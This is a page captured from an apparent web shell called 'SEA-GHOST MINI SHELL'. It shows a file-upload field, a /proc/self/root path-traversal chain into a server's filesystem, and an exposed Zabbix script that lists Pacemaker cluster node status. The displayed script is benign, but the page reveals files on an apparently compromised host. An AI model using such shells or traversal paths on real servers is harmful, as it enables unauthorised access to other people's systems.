[ SEA-GHOST MINI SHELL]

Path : /proc/2/task/2/root/proc/3/root/proc/self/root/proc/2/cwd/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/task/2/root/proc/3/root/proc/self/root/proc/2/cwd/var/lib/zabbix/lld-pacemaker.py

#!/usr/bin/python
import os
import json

OUTPUT = {"data": []}
nodes = []
nodeslist = os.popen("sudo pcs status cluster").readlines()
result = [node.rstrip() for node in nodeslist]

def get_pacemaker_info():
    for counter, value in enumerate(result):
        if value=="PCSD Status:":
            nodes = [x.strip(' ') for x in result[counter+1::]]
            for x in nodes:
                y = x.split(":")
                OUTPUT["data"].append({"{#PCSNODE}":y[0],"{#PCSSTATUS}":y[1].replace(' ','')})
    return json.dumps(OUTPUT)
if __name__ == "__main__":
    print(get_pacemaker_info())

SEA-GHOST - SHELL CODING BY SEA-GHOST